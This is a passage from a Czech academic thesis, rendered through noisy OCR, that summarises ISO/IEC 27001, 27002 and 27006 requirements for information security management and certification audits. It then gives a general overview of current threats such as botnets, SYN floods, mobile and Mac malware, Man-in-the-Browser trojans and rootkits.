Pro minimalizaci nasledkii a zotaveni se ze ztraty informacnich aktiv (které mize byt napf.
vysledkem pfirodnich pohrom, nehod, chyb =zafizeni nebo Umyslného jednéni) na
pfijatelnou uroven, za pomoci preventivnich a zotavovacich opatieni by mél byt zaveden
proces fizeni kontinuity ¢innosti organizace. Tento proces by mél identifikovat kritické
¢innosti organizace a zacClenit pozadavky fizeni bezpecCnosti informaci s ohledem na

pozadavky provozni, personalni, materialni, dopravni a pozadavky na zaftizeni.

Dusledky pohrom, bezpecnostnich chyb a ztraty dostupnosti sluzeb by mély byt
identifikovany v ramci analyzy dopadii. Pro zajiSténi toho, aby mohly byt obnoveny
klicové ¢innosti organizace v pozadovanych lhitach, je vhodné pfipravit a implementovat
plany kontinuity. Bezpecnost informaci by se méla stat nedilnou soucasti procesu fizeni

kontinuity ¢innosti a dalSich fidicich procest v ramci organizace.

Rizeni kontinuity ¢innosti organizace by mélo zahrnovat opatfeni k identifikaci a mini-
malizaci rizik, omezovat dasledky Skodlivych incidentii a zajistit v€asnou dostupnost

informaci potfebnych pro obnoveni nezbytnych €innosti.

2.1.11 Soulad s pravnimi normami

Névrh, provoz a pouzivani informacnich systémli mize byt pfedmétem zdkonnych,

podzakonnych nebo smluvnich bezpe¢nostnich pozadavkai.

Specifické poZzadavky vyplyvajici ze zakona by mély byt konzultovany s pravnimi poradci
organizace nebo jinymi kvalifikovanymi pravniky. Legislativni pozadavky na informace
vzniklé v jedné zemi a prenaSené do jiné zemé jsou rtizné a meéni se podle jednotlivych
zemi.

Audit informacnich systémii

Bezpecnost informacnich syst¢tmid by méla byt pravidelné¢ pirezkoumdvana. Tato
pfezkoumani by méla byt provadéna proti pfislusné bezpecnostni politice. Jednotlivé
technické platformy a informaéni systémy by mély byt auditovany, zda odpovidaji

relevantnim bezpe€nostnim norméam a opatfenim.
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Meéla by existovat opatieni pro zajisténi bezpecnosti provozniho systému a auditnich
nastroju v prubéhu vlastniho auditu. Ochrana auditnich nastroju je nutnd, aby byla zajisténa

jejich integrita a piedeslo se jejich zneuziti.

2.2 1SO/IEC 27001 — Systémy managementu bezpec¢nosti informaci —
Pozadavky

Norma ISO/IEC 27001 poskytuje podporu pro ustaveni, zavadéni, provozovani,
monitorovani, udrzovani a zlepSovani systému managementu bezpec¢nosti informaci. Pfijeti
ISMS by meélo byt strategickym rozhodnutim organizace, zavedeni v organizaci je

podminéno zejména pozadavky na bezpecnost.

Model zndmy jako ,PLANUJ-DELEJ-KONTROLUJ-JEDNEJ“ (PLAN-DO-CHECK-
ACT neboli PDCA) mtize byt aplikovan na vSechny procesy ISMS tak, jak jsou zavedeny

prave touto normou.

Rozsah ISMS
Politika ISMS Zlepsovani ISMS
Zprava o hodnoceni rizik Opatreni k napravé ISMS
Souhlas se zavedenim ISMS Preventivni opatieni ISMS

Prohlaseni o aplikovatelnosti

3

o>

Pozaaavky“ = Planuj s ‘Pozadav:y
S " ©
= ©
© Délej < Jednej %
NG ro)
N <
\ =

Uspokojoni ==  Kontroluj m— Uspokojoni

Plan zvladani rizik Vyhodnoceni incidentu

Prirucka bezpecnosti informaci Monitorovani a kontroly

Program bezpecnostniho povédomi Méfeni Uéinnosti ISMS

Indikatory a ukazatele bezpecnosti Plan internich auditi ISMS
Rizeni zdroju, dokumentl a zaznamd Zprava o stavu ISMS

Obrazek 1. Model PDCA

2.2.1 Ustaveni a Fizeni ISMS

Organizace musi ustavit, zavést, provozovat, monitorovat, prezkouméavat, udrzovat a sou-

stavng zlepSovat dokumentovany ISMS organizace, a to v kontextu vSech ¢innosti a rizik.
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Musi provést zejména nasledujici:
a) urcit rozsah a hranice ISMS a definovat politiku ISMS;
b) stanovit pfistup organizace k hodnoceni rizik;
c¢) identifikovat rizika, analyzovat a vyhodnocovat je;
d) identifikovat a vyhodnotit varianty pro zvladani rizik;
e) vybrat cile opatieni a jednotliva bezpecnostni opatfeni pro zvladani rizik;
f) ziskat souhlas vedeni organizace s navrhovanymi zbytkovymi riziky;
g) ziskat povoleni ze strany vedeni organizace k zavedeni a provozu ISMS;

h) pfipravit prohlaseni o aplikovatelnosti.

2.2.2 Interni audity ISMS

Organizace musi provadét interni audity ISMS v planovanych intervalech, aby ur¢ila, zda
jednotliva bezpecnostni opatfeni vyhovuji poZadavkim Normy ISO/IEC 27001 a odpo-
vidajicim zdkonnym nebo regulatornim pozadavkim a identifikovanym pozadavkim na
bezpec¢nost informaci. Mély by byt zavedeny a udrzovany efektivné a fungovat tak, jak se
ocekava.

Program auditi musi byt naplanovan s ohledem na stav a vyznam auditovanych procest
a oblasti a s ohledem na vysledky pfedchozich auditi. Musi byt definovana kritéria auditu,
jejich rozsah, Cetnost a metody. Vybér auditord a vlastni provedeni auditu musi zajistit

objektivitu a nestrannost procesu auditu. Auditofi by nem¢li proveéfovat svou vlastni praci.

Odpovédnosti a pozadavky na planovani a provedeni auditi, na hlaSeni vysledkt a udrZo-

vani zdznaml musi byt definovany dokumentovanym postupem.

Vedouci zaméstnanci odpovédni za oblast, kterd je pfedmétem auditu, by méli neodkladné
zajistit kroky k odstranéni zjisténych nedostatk a jejich pficin. Tyto kroky musi obsahovat

zpétnou kontrolu a hlaSeni o vysledcich této kontroly.

2.2.3 Prezkoumavani ISMS

Ptezkoumavani ISMS organizace by méla byt provadéna v pravidelnych intervalech (ales-

poil jednou za rok), aby byla zajiSt€éna permanentni pfimeétenost, adekvatnost a G€innost.
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Toto prezkouméni musi také hodnotit moznosti zlepSeni a potfebu zmén v ISMS vcetné

bezpecnostni politiky a cilti bezpecnosti.

Vysledky piezkoumani by meély byt jasné zdokumentovany a mély by byt o nich
udrzovany zaznamy. Vystup z prezkoumani by méla zahrnovat jakékoli rozhodnuti a ¢in-
nosti vztahujici se ke zvySovani u¢innosti ISMS, aktualizaci hodnoceni rizik a nezbytné
zmény postupll v bezpecnosti informaci v reakci na vnitini nebo vnéjsi udalosti, které

mohly mit vliv na ISMS.

2.2.4 ZlepSovani ISMS

Organizace by méla neustdle zvySovat ucinnost ISMS s vyuzitim politiky a cili bez-
pecnosti informaci, vysledki auditli, analyz monitorovanych udalosti, napravnych a pre-

ventivnich opatieni a pfezkouméni provadénych vedenim organizace.

Organizace musi piijmout piislu$na opatieni pro odstranéni nedostatkti spojenych s imple-

mentaci a provozem ISMS, aby zabranila jejich opétovnému vyskytu.

Organizace musi urCit opatieni, ktera zabrani opakovanému vyskytu nesouladu s po-
zadavky ISMS. Preventivni opatfeni by méla byt pfiméfend zavaznosti potenciadlnich
problémt. Priorita opatfeni k napravé by pak méla byt uréena na zakladé vysledki

hodnocenit rizik.

2.3 ISO/IEC 27006 — Pozadavky na organy provadéjici audit a certifikaci

systému Fizeni bezpecnosti informaci

Norma ISO/IEC 27006 specifikuje pozadavky a poskytuje doporuceni pro organy
provadéjici audit a certifikaci systému fizeni bezpecnosti informaci, a dopliuje tak

pozadavky obsazené v ISO/IEC 27001.

2.3.1 Pozadavky na zdroje

Certifikacni orgdn musi zajistit, Zze méa odpovidajici vyvoj znalosti, technologii a legislativy
v oblastech relevantnich k ISMS organizace, kterou hodnoti. Musi mit efektivni systém pro
analyzu odbornych zptisobilosti, které potfebuje mit k dispozici v oblasti fizeni bezpecnosti
informaci, a to s ohledem na vSechny technické oblasti, v nichz plsobi. Vici svym
klienthm musi byt certifikacni organ schopen dolozit, ze provedl analyzu odborné

zpusobilosti dle pozadavkli kazdé relevantni oblasti diive, nez na sebe pfevezme smluvni
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zavazky. Musi byt zejména schopen demonstrovat, Ze mé odbornou zpisobilost k prove-

deni nasledujicich ¢innosti:
a) porozuméni oblastem ¢innosti organizace klienta a souvisejicich rizik vyplyvajicich
Z ¢innosti;
b) urceni pottebnych odbornych zptuisobilosti ve vztahu k identifikovanym ¢innostem

a hrozbam plisobicim na informacni aktiva a ve vztahu k zranitelnostem a dopadiim

na organizaci klienta;
¢) potvrdit dostupnost pozadovanych odbornych zpisobilosti.

Management certifikacniho organu musi mit zavedeny potiebné procesy a zdroje k tomu,
aby mohl posoudit, zda jsou jednotlivi autofi odborn¢ zpusobili pro vykonani
pozadovanych tkond v rdmci certifikace. Certifikaéni orgdn musi mit osoby odborné

zpusobilé k:

a) vybéru a ovéfeni odborné zpusobilosti auditori vybranych do auditnich tyma

konkrétniho auditu;
b) instruovani auditortit ISMS a zajisténi potfeného odborného skoleni;

c) rozhodnuti o udéleni, udrzovani, staZeni, pozastaveni, prodlouzeni nebo omezeni

certifikaci;
d) pfipravé a vedeni procesu odvolani a stiznosti.

Pti vybéru auditniho tymu, ktery méa byt jmenovan pro konkrétni certifikacni audit, musi
certifikani orgédn zajistit odpovidajici znalosti pro vSechny vyty¢ené ukoly. Auditni tym
muze byt v ptipadé potieby doplnén o technické experty, kteti maji odpovidajici znalosti
0 technologiich, které jsou soucasti auditu. Tito experti vS§ak nemohou nahradit auditory
ISMS, mohou vSak auditorovi poskytnout odbornou radu v technickych otazkach
tykajicich se auditované¢ho systému fizeni. Nasledujici kritéria se museji vztahovat na

kazdého auditora v ISMS auditnim tymu. Auditor musi mit:
a) ukoncené stfedoSkolské vzdélani;

b) nejméné Ctyii roky pracovnich zkuSenosti v oblasti informacnich technologii, z toho

nejméné dva roky v roli nebo funkci souvisejici s bezpecnosti informaci;

c) uspésné ukoncené pétidenni skoleni, které svym rozsahem pokryva audity ISMS

a vedené audita;
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d) zkusenosti z celého procesu hodnoceni bezpecnosti informaci dfive nez prevezme
odpovédnost za provedeni auditu v roli auditora (zkuSenosti by mél auditor ziskat
ucasti na minimalné¢ Ctyfech certifikacnich auditech v délce trvani minimalné dvaceti

dni, vCetné prezkoumani dokumentace a analyzy rizik, hodnoticich a auditnich zprav;
e) soucasné znalosti v daném oboru;

f) schopnost podivat se na komplexni operace ze §irsi perspektivy a porozumét rolim

jednotlivych oddéleni ve vétSich organizacich;

g) aktualni znalosti a kvalifikaci v oblasti bezpe¢nosti informaci a auditu a tyto znalosti

udrzovat v ramci kontinudlniho procesu rozvoje.
Vedouci auditnich tymt musi (kromé vySe uvedenych pozadavki) navic:
a) mit znalosti a vlastnosti potiebné k fizeni certifika¢niho auditu;
b) mit jako auditor za sebou minimalné tfi kompletni audity ISMS;
C) Gspésné demonstrovat schopnosti efektivni komunikace jak ustni, tak i pisemné.
V piipadé, kdy je v auditnim tymu vyuzito sluzeb externich auditorti ¢i technickych
specialistli, musi certifikacni orgén zajistit, Ze maji odbornou zpiisobilost a napliuji

pfislusna ustanoveni a nejsou zapojeni do procesu takovym zplisobem, Ze by nemohla byt

zarucena jejich nestrannost.

2.3.2 Pozadavky na informace

Certifikacni organ musi od organizace klienta vyzadovat, aby méla dokumentovany a im-
plementovany ISMS v souladu s pozadavky ISO/IEC 27001 a dalsi relevantni dokumentaci

pozadovanou pro certifikace. Certifikacni organ musi mit dokumentované postupy pro:

a) tvodni certifika¢ni audit ISMS organizace v souladu s ISO/IEC 27001 a dalsi rele-

vantni dokumentaci;

b) periodicky, dohledovy a certifikacni audit ISMS organizace v souladu s ISO/IEC
17021 na trvajici shodu s relevantnimi poZzadavky a pro verifikaci toho, Ze

organizace realizuje kroky pro napravu vSech zjisténych neshod.

Certifikacni organ musi dodat kazdé organizaci certifikacni dokumenty, tj. listinu nebo
certifikdt podepsany osobou, které byla tato odpoveédnost ptidélena. Certifikdt musi

identifikovat rozsah ude€lené certifikace, pro jakou ¢ast organizace a pro jaké systémy byla
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certifikace udé€lena a normu, podle které¢ je ISMS certifikovan. Déle je v ném obsazen

odkaz na verzi prohlaseni o aplikovatelnost.

Pted zacatkem certifikacniho auditu musi certifikacni organ pozadat organizaci o infor-
maci, zda existuji takové zaznamy ISMS, které nemohou byt zpfistupnény pro
pfezkoumani auditnim tymem z toho diivodu, Ze obsahuji ditvérné nebo citlivé informace.
Certifikacni organ pak musi stanovit, zda bude mozné provést odpovidajici audit,
popiipad¢ doporucit organizaci, aby certifikacni audit probehl teprve poté, co budou

provedena opatieni pro ziskani odpovidajiciho pfistupu

2.3.3 Pozadavky na procesy

Kritéria, vici kterym je provadén audit ISMS klienta, musi byt ta, ktera jsou uvedena
v normé& ISO/IEC 27001 a ostatnich dokumentech pozadovanych pro certifikaci a rele-

vantnich pro k vykondvanym ¢innostem.

Dokumentace certifikacniho organu musi zahrnovat politiku a postupy pro implementaci
certifikacniho procesu vcetné¢ kontrol pouziti a aplikace dokumentace pouzité b&hem

certifikace ISMS a postupu auditu a certifikace ISMS organizace klienta.

Auditni tym musi byt formaln€ ustanoven a vybaven odpovidajicimi pracovnimi
dokumenty. Plan a datum auditu musi byt s organizaci klienta ptedem dohodnut. Povéieni,
kter¢ je dano auditnimu tymu, musi byt jasn¢ definovano a sdé€leno organizaci klienta musi
od auditniho tymu vyzadovat, aby prozkoumal strukturu, politiky a postupy organizace
a potvrdil, ze spliuji vSechny relevantni poZzadavky dané rozsahem certifikace, a Ze

implementované postupy zarucuji diveéru v ISMS organizace.

Auditni tym musi provést audit ISMS organizace oproti vS§em certifikacnim pozadavkim
platnym ve stanoveném rozsahu. Certifika¢ni organ musi zajistit, Ze jsou rozsah a hranice
organizace jasn¢ definovany s ohledem na povahu cinnosti, na specifika organizace, jeji

polohu, aktiva a technologie.

Certifikacni orgdn musi poskytnout auditortim dostatecny ¢as k provedeni vSech ¢innosti
vazicich se k ivodnimu, dohledovému nebo recertifikacnimu auditu. Vyhrazeny ¢as musi

byt stanoven na zékladé¢ nasledujicich faktori:
a) rozsahu ISMS (napf. poctu pouzivanych informacnich systémi, poctu zameéstnanci);

b) komplexnosti ISMS (napf. kriti¢nosti informacnich systémd, rizikovost ISMS);
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) typu vykonavanych ¢innosti v rozsahu ISMS;

d) rozsahu a riznosti technologii pouzitych pfi implementaci riznych soucasti ISMS
(jako jsou implementovand opatieni, dokumentace a kontrola procesi, nadpravna ¢i

preventivni opatieni apod.);
e) poctu pracovist;
f) jiz demonstrovaného vykonu ISMS;
g) rozsahu outsourcingu a ujednani o vyuziti sluzeb tfetich stran v ramci ISMS;
h) aplikovanych norem a piedpisi, které jsou relevantni pro rozsah certifikace.

V ptipad¢, ze ma organizace klienta vice pracovist, kterd operuji pod stejnym ISMS a jsou
zahrnuta do programu piezkoumani vedenim, mize certifikacni organ rozhodnout o pro-
vedeni auditu na reprezentativnim vzorku pracovist. Pii vybéru reprezentativniho poctu

pracovist’ musi byt brano v ivahu nasledujici:
a) vysledky internich audit centraly a jednotlivych pracovist’;
b) vysledky piezkoumani vedenim,
c) rozdily ve velikostech jednotlivych pracovist’;
d) rozdily v ¢innostech jednotlivych pracovist’;
e) slozitosti ISMS;
f) slozitosti informacnich systémti na jednotlivych pracovistich;
g) rozdily v pracovnich postupech;
h) rozdily v provadénych ¢innostech;

i) potencialni interakce s kritickymi informacénimi systémy nebo s informacénimi

systémy zpracovavajicimi citlivé informace;
J) jakékoliv odlisnosti od zdkonnych pozadavkii.

Reprezentativni vzorek je vybran ze vSech pracovist’ v rozsahu ISMS organizace, které
odrazi vSechny vyse uvedené faktory. Program auditu pokryva reprezentativni vzorky Vv roz-
sahu certifikace béhem obdobi tfi let. V piipadé, Ze je zjiSténa neshoda, a to bud’ v centréle,
anebo na nékterém pracovisti, jsou piijata napravnd opatieni v centrale a vSech praco-

vistich zahrnutych certifikatem.
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Certifikac¢ni orgdn musi mit postupy, které zajisti, aby organizace klienta byla schopna
demonstrovat, ze mé naplanované interni audity ISMS, a Ze plan i postupy jsou funkéni
a jejich funkcnost mize byt piedvedena. Certifikacni postupy se musi zaméfit na prokazani
toho, ze ISMS organizace spliiuje pozadavky normy ISO/IEC 27001 a pozadavky politik
a cili organizace. Plan auditu musi identifikovat auditni techniky vyuzivajici sitovych

sluzeb, které¢ bude vhodné béhem auditu vyzit.

Ptedtim, nez auditni tym ukonc¢i posuzovani na misté¢ a opusti prostory organizace, setka se
s vedenim organizace a poskytne mu pisemnou nebo ustni informaci o shodé¢ ISMS
organizace s konkrétnimi pozadavky na certifikaci a pfilezitost k dotazim ohledné
auditnich nalezii. Auditni tym pteda certifikaénimu organu auditni zpravu, ktera obsahuje
vysledky zkoumani shody ISMS organizace s pozadavky na certifikace. Auditni zprava

musi obsahovat nasledujici informace a odkazy na né:
a) zaznam z auditu véetné zaveéra z prezkoumani dokumentace;

b) zaznam z certifika¢niho auditu o tom, ze organizace provedla analyzu informacnich
rizik;
¢) celkovou délku auditu, véetné detailni specifikace Casu straveného na piezkoumani

dokumentace, posouzeni provedeni analyzy rizik, pfi auditu na misté a vypracovani

auditni zpravy;

d) Setfeni, ktera byla béhem auditu provedena, odiivodnéni pro jejich vybér a pouzita

metodologie.

Zpréava auditu musi obsahovat dostateCnou uroven detailu tak, aby podpoftila rozhodovani
0 udéleni certifikace. Cast auditni zpravy mohou tvofit i vyplnéné dotazniky, kontrolni
seznamy, pozorovani, zdznamy nebo poznamky auditora. Auditni zprava musi posoudit
pfiméfenost interni organizace a osvojenych postupt tak, aby davaly dostate¢nou davéru
V provozovany ISMS. Kromé poZzadavki uvedenych v ISO/IEC 27001 musi auditni zprava
pokryvat takeé:

* stupent davery, ktera mize byt vlozena na interni audity a pfezkoumdani vedenim
organizace;

vvvvvv

mentace a efektivnosti ISMS;
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* doporuceni auditniho tymu o udéleni/neudéleni certifikace, véetné informaci zdivod-

fyjicich toto doporuceni.

2.3.4 Uvodni audit a certifikace

Aplikuji se pozadavky podle normy ISO/IEC 17021. Certifika¢ni organ musi po organizaci
pozadovat, aby provedla vSechny nezbytné ptipravy pro provedeni certifikacniho auditu
vcetné pripravy dokumentace a zajisténi piistupu ke vSem oblastem, zdznamim (véetné
internich zprav a zprav o nezavislych pfezkoumanich bezpecnosti informaci) a personalu

za ucCelem certifika¢niho auditu, recertifika¢niho auditu a feSeni stiznosti.
Prvni faze auditu

V této fazi auditu musi certifikacni organ obdrzet dokumentaci popisujici navrh ISMS.
Cilem prvni faze je poskytnout vstupy pro zaméteni a naplanovéani druhé faze auditu
porozuménim, jak ISMS funguje v kontextu cili organizace a politiky ISMS a jaka je

celkova pfipravenost organizace na certifikacni audit.

Prvni faze musi zahrnovat prezkoumani dokumentace. Certifikacni organ se musi s orga-

nizaci klienta dohodnout na tom, kdy a kde se pfezkouméni dokumentace uskutecni.

Vysledky prvni faze musi byt shrnuty v auditni zpravé. Certifikani organ musi uvédomit
organizaci klienta o dodatecnych pozadavcich na informace a zaznamy, které mohou byt
vyzadany k detailnimu pfezkoumani v ramci druhé faze auditu.

Druha faze auditu

Vzdy se kona v prostorach organizace klienta. Na zéklad¢ nalezi zdokumentovanych v au-
ditni zpravé z prvni faze pfipravi certifikacni orgdn navrh planu na druhou fazi auditu.
Cilem druh¢ faze je potvrdit, ze je organizace klienta v souladu s vlastni politikou,

stanovenymi cili a postupy, a potvrdit, ze ISMS organizace vyhovuje vSem pozadavkim

normy ISO/IEC 27001 a dosahuje cili stanovenych v politice ISMS.
Pro naplnéni téchto cilit musi byt udit organizace zaméfen na:

a) hodnoceni rizik bezpec¢nosti informaci a na to, Ze hodnoceni davaji porovnatelné

a opakovatelné vysledky;

b) vybér cili opatieni a jednotlivych opatieni v zavislosti na procesech hodnoceni a ose-

tfeni rizik;
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C) prezkoumani efektivnosti ISMS a méfeni efektivnosti bezpecnostnich opatieni,

hlaSeni a ptfezkoumavani stavu oproti stanovenym ciliim ISMS;
d) interni audity ISMS a piezkoumani vedenim organizace;
e) odpovédnost vedeni za bezpec¢nostni politiku;

f) soulad mezi vybranymi a implementovanymi opatfenimi, prohlasenim o aplikova-

telnosti, vysledky procesii hodnoceni a oSetfeni rizik, politikou a cili ISMS;

g) implementaci opatieni s ohledem na méfeni jejich efektivnosti s cilem uréit, zda jsou

opatfeni implementovana a zda jsou u¢inna pro dosahovani stanovenych cili;

h) ovéfeni toho, Ze jsou programy, procesy, postupy, zdznamy, interni audity a pie-
zkoumani efektivnosti ISMS dohledatelné¢ v zdznamech o rozhodnutich u¢inénych

vedenim a v souladu s cili a politikou ISMS.

Jako podklad pro objektivni rozhodnuti o udé¢leni certifikace musi certifikaéni organ
vyzadovat prehledné auditni zpravy, na zaklad¢ kterych lze ucinit kone¢né rozhodnuti.
Auditni tym ptedava certifikaénimu organu zpravy z jednotlivych fazi certifika¢niho

auditu.

Rozhodnuti o udéleni certifikace musi byt pfijato na zaklad€ informaci shromazdénych
v prubéhu certifikaéniho procesu a jakychkoliv dalsich relevantnich informaci. Rozhodnuti
o udéleni certifikace nesmi byt u€inéno témi, ktefi se ucastnili auditu. Entita, ktera Cini
rozhodnuti o udéleni certifikace, by normalné¢ neméla zvratit negativni doporuceni ze
strany auditniho tymu. Pokud vSak pfesto takova situace nastane, musi certifikacni organ

podrobné zdokumentovat a odiivodnit své rozhodnuti.
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3 STRUCNY PREHLED AKTUALNICH BEZPECNOSTNICH
HROZEBV IT ©

Protoze je problematika kazdé uvedené techniky velmi obsahla a nékteré jsou i prak-
ticky pouzity v této praci, nebude tkolem nasledujici kapitoly je detailné popisovat. Pijde

o stru¢ny prehled a nastinéni, jak takové hrozby vypadaji, a to z aktualniho hlediska.

3.1 Botnet

Jedna se o hrozbu, ktera v soucasnosti ohrozuje okolo tii miliontt PC po celém svété, a to
Vv podobé¢ sité pocitact, jiz kontroluji urcité skupiny osob. Zptisob fungovani je zaloZen na
infikovani hostitelského PC uréitym typem backdooru, ktery uto¢nikovi umoziiuje na
dalku kontrolovat dané¢ PC (Zombie). Backdoory funguji naprosto automaticky a auto-

nomné¢, coz umoznuje Sifit ndkazu dale okolo sebe.

Botnety jsou dnes efektivnimi ndstroji pro generovani velkého mnozZstvi penéz. Obéti

mnohdy ani netusi, ze jsou jejich PC infikovany a ze se ucastni né¢eho nezakonného.
Botnety lze rozd¢lit podle povahy fungovani:

* Centralizovana kontrola — centrala, ktera identifikuje novy bot, pfida tento do data-
baze a pribézné kontroluje jeho status. Vlastnik dané¢ho centrdlniho botu nésledné
fidi celou sit. Pokud je vSak centrala odfiznuta od pfistupu na sit, pfestanou byt

napadené koncové boty aktivni a v diisledku toho struktura botnetu zanikne.

@os3

Obrazek 2. Typologie botnetu — centralizovana kontrola

* Decentralizovana kontrola (tzv. P2P botnet) — tento typ pouZziva k rozesilani ptikazt

vvvvvv

nasledek, ze tuto sit’ nelze tak jednodusSe rozbit.
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Obrazek 3. Typologie botnetu — decentralizovana kontrola

Daéle se sité botnet mohou délit podle sitového protokolu:

* IRC — jednotlivé boty jsou propojeny pomoci ,,Internet Relay Chat* (jednoduchého
protokolu pro komunikaci v realném case).

* IM — tento typ botnetu neni moc rozsifeny, nebot” je zalozen na slozitém vytvaieni
novych uctd pro dalsi boty. Vyuziva ,Instant Messaging® sluzby jako jsou ICQ,
MSN a dalsi.

* WWW — tento typ komunikace se prudce rozviji pro svou jednoduchost pti vytvareni

novych boti.

Jeden z nejvétSich botnetlh mél okolo deseti milionli Zombie a byl znam jako ,,Storm
Botnet” (Email. Worm.Win32.Zhelatin). V soucasnosti je nejvétsim botnetem ,,Festi* s jed-

nim milionem Zombie.

Leading Global Botnet Infections
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2,000,000
—— FESTI
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——— WALEDAC
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JAMN  FEB  MAR APR  MAY JUN JUL AUG SEP  OCT NOV DEC
2012 2012 2012 2012 2012 2012 2012 2012 2012 2012 2012 2012

McAfee Threats Report: Fourth Quarter 2012

Obrazek 4. Aktualni stav velikosti botneta
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Botnety se vyuzivaji k Gtoktim jako je naptiklad SPAM (rozesilani nevyzadané posty) nebo
DDoS.

Druhy zminény piedstavuje distribuovany utok z vice PC na jeden konkrétni cil. Utokem
ma byt dosazeno nedostupnosti sluzby dané¢ho serveru nebo jeho opétovného restartovani.
Pokud utok nastane, vétSinou se projevi nadmérnym vyuzivanim prostiedku daného
serveru, coz vede v lepSim piipadé k mens$i dostupnosti sluzby, v hor§im piipadé ke

zhrouceni systému.

Typickym piedstavitelem takového ttok je napi. ,,SYN flood“, ktery zneuziva faleSnou
hlavicku odesilatele. Princip utoku: Odesle se SYN flood paket s falesnou hlavickou
odesilatele na server, kde je zpracovan. Server nasledné odpovi TCP/SYN-ACK paketem
a ¢ekd na odezvu, kterd ale nemlze byt realizovana v disledku nepravdiveé zadané hlavicky
(zpétecni adresy). Takto polooteviend zadost néjakou dobu blokuje jiné legitimni Zadosti
0 pfipojeni.

Ochrana proti této hrozbé se realizuje pomoci firewallu, jez je schopen tento typ utoku

detekovat a odvratit.

3.2 Utoky na mobilni telefony, tablety a platformu MAC

Raketovy vzestup mobilnich zafizeni s sebou nese 1 riziko napadeni nezadoucim SW. Prvni
malware (software ureny k poskozeni) pro mobilni zatizeni se objevil v roce 2004 a byl

urcen pro operacni systém Symbian.

Dnes se primarné uto¢i na platformy Android a i0OS. Antivirové spole¢nosti eviduji tisice
druhii malwaru, které se dostavaji do mobilnich telefont pomoci aplikace ttetich stran, jez
nepochazeji z oficidlniho obchodu daného vyrobce. Mohou ale pochazet i z vetejnych

datovych ulozist, ktera jsou zdrojem ,,cracknutych* aplikaci a her.

Nebezpecnym se jevi také malware, ktery zptisobuje umysIné zasilani SMS na ¢isla s vy-
sokym tarifem. Tato vysokotarifni Cisla vlastni utocnik a ,nakazeny* telefon na ngj

automaticky zasila SMS, ¢imZ vznika obéti finan¢ni Skoda.

Skodlivy kod lze do telefonu dostat také pomoci QR kodu, ktery je vefejné vystaven.
Modelova situace: Jdete po ulici a zahlédnete reklamu s pfiloZzenym QR kodem. Reklama
vas oslovi, a tak vyuzijete moznosti rychlého nacteni pomoci mobilniho telefonu ¢i tabletu
praveé pies nabizeny QR kod. Netusite vSak, ze Gto¢nik jej prelepil svym vlastnim, kterym

odkazuje na infikované webové stranky. Néasledn€ dojde k infiltraci Skodlivého SW.
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Ohrozeny jsou dnes i platformy MAC. V hleddcku utocnikli je zejména stdle vice

vyuzivany operacni systém OSX. Stejné jako systém Windows je i OSX ,,déravy* a itoc-

nici tak maji moZnost nachazet stale nové a nové chyby dané¢ho systému.

Mac 0S X malware snapshot

In a typical week, SophosLabs detects 4,800 pieces of 05 X malware on Mac computers
This chart shows a snapshot of Mac malware detected in the week of August 1-8, 2012,

® 0SX/FkCodec-A 26%
® 0S¥/FakeAV-DWN 13.28%
® 05¥/FakeAVZp-C 13%
® 0SX/FakeAVDI-A B.6%
® 0SX/FakeAV-DPU 7.1%

05¥/FakeAVDI-B 6.2%
® 05X/Safbxinj-B 4.1%
® 0SX/FakeAV-FFN 3.3%

® 05X/Flshplyer-D

® 05x/FakeAV-A

® 05¥/DnsCha-E
05X/RSplug-A
05x/Flshplyr-E

® 05¥/FakeAV-FNV
05k/Jahlav-C

3.2%
2.8%
2.7%
2.4%
2.4%
2.3%
2.1%

E\\‘
o’

Source: SophosLabs

Obrazek 5. Malwere ohrozujici platformu Mac OSX

Utoénici vyuzivaji podobné metody jako u napadeni systému Windows. Jedna se o fale$ny

antivirovy program nebo Flashback botnet (OSX/FIshplyr).

Doslova hrozbou poslednich dnt je vSak Crisis (OSX/Morcut-A). Tento spyware je

schopen komplexniho monitorovani vSech cinnosti systému od pohybu mys$i az po

kontrolu webové kamery. Opét jde o velice komplexni problém a podle ndzori odbornikti

o velice zdvaznou hrozbu. Obranou mize byt zodpovédné chovani ve smyslu nakupovani

aplikaci od autorizovanych spole¢nosti a maximalni obezietnost na urovni fyzické

bezpecnosti.
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Growth of Android Malware
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Obrazek 6. Poéet malware ohrozujicich systém Android

3.3 Malware
Pod souhrnné ozna¢eni malware je mozné zahrnout pocitatové viry, trojsti koné a spyware.

Spolecnosti zabyvajici se bezpecnosti poukazuji na znepokojivy nartst hrozeb zejména
Vv oblasti komer¢ni sféry (v roce 2012 az dvojnasobny oproti letim 2010 a 2011). I ptes
fungujici politiku zabezpeceni vzdy urcité procento napadenych cilovych skupin podlehne,
a pocet Uspés$né provedenych utoki se tak dale zvySuje. Znepokojivym se jevi také zjisténi,
ze se zrychluje cyklus vyvoje malwaru, jez tak rychleji dokdze odpovidat na vyvijejici se

trendy IT.

Prudce narlista také vytvareni malwaru v 64-bitové kompatibilité. 32-bitovy malware
bézici na 64-bitovém PC je pomérné¢ lehce detekovatelny, a tak je dnes béZznym trendem
vyvijet 64-bitovy malware. DoSlo také ke zjiSténi, Ze ur¢ity malwar (napf. ,,Shylock®)
muze lehce detekovat, zda jde o virtudlni stroj. Nejde nainstalovat v okamziku, kdy je

zjisténa relace vzdalené plochy.

Jednim z vyraznych aktudlnich probléml jsou Utoky zamiené na Google Chrome

prohlize¢. Jedna se o logicky krok ze strany uto¢nikd, nebot’ obliba tohoto programu
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prudce stoupa. V roce 2012 Slo konkrétné o trojské koné ,,Citadela Rain*“ a ,,Zeus 2.1
neboli MitB utoky. Skupina utokii MitB (,,Man in the Browser — Muz v prohlizeci®)
funguje asi takto: Jestlize si néktery program ze skupiny nalezne cestu do PC, stane se
Z n¢j spici hrozba, ktera ¢eka, az uzivatel navstivi urcity typ stranek (napt. stranky pro
platebni transakci). NetuSici obét’ vyplni vSechny potifebné tidaje bankovni transakce
a odesle pozadavek na zaplaceni. V tom okamziku dojde k imysInému nahlaSeni problému
a k vyzvé o znovuzaplaceni. Obét’ tedy ukon opakuje, aniz by tusila, Ze tentokrat penize
sméiuji na ucet tto¢nika.

Moznou obranou je aktudlni antivirovy program a aktualizovany operacni systém vcetné

zodpovédného chovani uzivatele pii pohybu na internetu.

3.4 Rootkits

Jde o mnozinu programu ,,potichu® nainstalovanou na PC, umoziujici instalaci a b&h
Skodlivého SW (napt. ,keyloger program pro zaznamenavani vSech zadanych klaves,
»password snifer” program pro zaznamenavani hesel). Primarnim tkolem rootkiti je
maskovani nezddouciho SW, ¢ehoz dosahnou tim, ze se ve spravé procesu tvari jako
legitimné bézici sluzba.

